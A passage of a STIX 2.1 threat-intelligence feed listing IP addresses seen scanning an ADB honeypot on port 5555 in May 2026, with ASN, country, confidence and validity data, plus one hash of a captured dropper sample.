        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-18T00:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=18 | first_seen=2026-05-17T23:54:41.000Z | last_seen=2026-05-18T00:04:55.264Z | ports=5555 | cc=DE | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--18998f12-b6f8-44a9-a183-fd6c26054042",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.197.183.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T00:00:02.000Z",
      "valid_until": "2026-06-19T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 18,
          "first_seen": "2026-05-17T23:54:41.000Z",
          "last_seen": "2026-05-18T00:04:55.264Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-18T00:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=DE; asn=43357; asn_org=Owl Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=7 | first_seen=2026-05-17T23:17:02.000Z | last_seen=2026-05-17T23:27:03.447Z | ports=5555 | cc=DE | asn=43357 | org=Owl Limited",
      "id": "indicator--f35b076f-2c71-44dc-8c5e-632c3902be1b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.254.75.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T00:00:02.000Z",
      "valid_until": "2026-06-19T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 7,
          "first_seen": "2026-05-17T23:17:02.000Z",
          "last_seen": "2026-05-17T23:27:03.447Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "43357"
          ],
          "org": [
            "Owl Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-18T02:00:15.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=25 | first_seen=2026-05-18T01:49:20.000Z | last_seen=2026-05-18T02:00:48.212Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--8b844399-f00c-4ebe-9907-be39a9303ba7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T02:00:15.000Z",
      "valid_until": "2026-06-19T02:00:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 25,
          "first_seen": "2026-05-18T01:49:20.000Z",
          "last_seen": "2026-05-18T02:00:48.212Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-18T02:00:15.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-18T01:18:49.000Z | last_seen=2026-05-18T01:28:57.188Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--37ae065c-4338-4a81-b2df-f98eea18f855",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T02:00:15.000Z",
      "valid_until": "2026-06-19T02:00:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-18T01:18:49.000Z",
          "last_seen": "2026-05-18T01:28:57.188Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-18T02:00:15.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-18T01:17:08.000Z | last_seen=2026-05-18T01:18:18.219Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--1323abcc-0536-48c9-8f68-64ac373365f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T02:00:15.000Z",
      "valid_until": "2026-06-19T02:00:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-18T01:17:08.000Z",
          "last_seen": "2026-05-18T01:18:18.219Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-18T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-18T02:27:21.000Z | last_seen=2026-05-18T02:28:27.441Z | ports=5555 | cc=DE | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--0070f2d4-02f0-4dda-8e54-2454bc9e6860",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '206.81.19.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:00:03.000Z",
      "valid_until": "2026-06-19T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-18T02:27:21.000Z",
          "last_seen": "2026-05-18T02:28:27.441Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-18T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=25 | first_seen=2026-05-18T02:35:15.000Z | last_seen=2026-05-18T02:47:52.891Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--32c563d4-c064-4610-8707-6cc1fd0420bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '4.227.178.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:00:03.000Z",
      "valid_until": "2026-06-19T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 25,
          "first_seen": "2026-05-18T02:35:15.000Z",
          "last_seen": "2026-05-18T02:47:52.891Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-18T08:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=US; asn=22295; asn_org=Advin Services LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=13 | first_seen=2026-05-18T07:45:01.000Z | last_seen=2026-05-18T07:55:07.830Z | ports=5555 | cc=US | asn=22295 | org=Advin Services LLC",
      "id": "indicator--582a98d4-7037-4163-8338-17e28f4fa420",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '208.84.100.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T08:00:02.000Z",
      "valid_until": "2026-06-19T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 13,
          "first_seen": "2026-05-18T07:45:01.000Z",
          "last_seen": "2026-05-18T07:55:07.830Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "22295"
          ],
          "org": [
            "Advin Services LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-18T11:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=214996; asn_org=netcup GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-18T10:18:10.000Z | last_seen=2026-05-18T19:43:35.779Z | ports=5555 | cc=US | asn=214996 | org=netcup GmbH",
      "id": "indicator--3891d9a3-0514-40f9-a1bd-3d192f9fc82c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '152.53.81.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T11:00:09.000Z",
      "valid_until": "2026-06-19T11:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-18T10:18:10.000Z",
          "last_seen": "2026-05-18T19:43:35.779Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "214996"
          ],
          "org": [
            "netcup GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-18T11:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=JP; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=7 | first_seen=2026-05-18T10:15:45.000Z | last_seen=2026-05-18T10:16:49.592Z | ports=5555 | cc=JP | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--fb036cc7-e70b-47fd-8e47-a0ee9970b1a5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.216.65.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T11:00:09.000Z",
      "valid_until": "2026-06-19T11:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 7,
          "first_seen": "2026-05-18T10:15:45.000Z",
          "last_seen": "2026-05-18T10:16:49.592Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "JP"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-18T13:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=1; ports=5555; cc=FR; asn=51167; asn_org=Contabo GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=3 | first_seen=2026-05-18T04:17:06.630Z | last_seen=2026-05-18T19:13:40.260Z | ports=5555 | cc=FR | asn=51167 | org=Contabo GmbH",
      "id": "indicator--6bed9f28-6906-4a0b-b5c1-b2bbb7be462e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '2.59.156.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T13:00:03.000Z",
      "valid_until": "2026-06-19T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 3,
          "first_seen": "2026-05-18T04:17:06.630Z",
          "last_seen": "2026-05-18T19:13:40.260Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "51167"
          ],
          "org": [
            "Contabo GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-18T13:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=BG; asn=50360; asn_org=Tamatiya EOOD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-18T12:28:32.000Z | last_seen=2026-05-18T12:29:42.887Z | ports=5555 | cc=BG | asn=50360 | org=Tamatiya EOOD",
      "id": "indicator--ea0b2cb0-f7ea-416c-9d65-3998043180ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.124.60.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T13:00:03.000Z",
      "valid_until": "2026-06-19T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-18T12:28:32.000Z",
          "last_seen": "2026-05-18T12:29:42.887Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "50360"
          ],
          "org": [
            "Tamatiya EOOD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-18T14:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/f12f85a7bb1be64bdb34eeee153b6274767f85b1cb2234dec71ad068d91f3832.raw; last_seen=2026-05-18T13:36:22.128Z",
      "id": "indicator--e976aac5-b4a6-4376-89b1-c57285bd544e",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'f12f85a7bb1be64bdb34eeee153b6274767f85b1cb2234dec71ad068d91f3832']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-18T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-18T14:43:34.000Z | last_seen=2026-05-18T14:44:38.630Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--1b373766-40d7-4fe1-b1f1-3933abf9b2bb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '161.35.109.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T15:00:02.000Z",
      "valid_until": "2026-06-19T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-18T14:43:34.000Z",
          "last_seen": "2026-05-18T14:44:38.630Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-18T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FR; asn=12876; asn_org=Scaleway SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-18T14:34:10.000Z | last_seen=2026-05-18T14:35:19.222Z | ports=5555 | cc=FR | asn=12876 | org=Scaleway SAS",
      "id": "indicator--16964857-567a-4f50-b58d-387795c83d6e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '212.83.160.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T15:00:02.000Z",
      "valid_until": "2026-06-19T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-18T14:34:10.000Z",
          "last_seen": "2026-05-18T14:35:19.222Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "12876"
          ],
          "org": [
            "Scaleway SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-18T16:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-18T15:10:02.000Z | last_seen=2026-05-18T15:11:03.115Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--8e3eada1-f858-424d-b77b-aa7961e591d0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T16:00:10.000Z",
      "valid_until": "2026-06-19T16:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-18T15:10:02.000Z",
          "last_seen": "2026-05-18T15:11:03.115Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-18T17:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=10 | first_seen=2026-05-18T16:01:44.000Z | last_seen=2026-05-21T16:00:11.759Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--aec4703c-a2fe-4bcc-a392-037e160523a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.33.40.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T17:00:05.000Z",
      "valid_until": "2026-06-19T17:00:04.000Z",
      "indicator_types": [
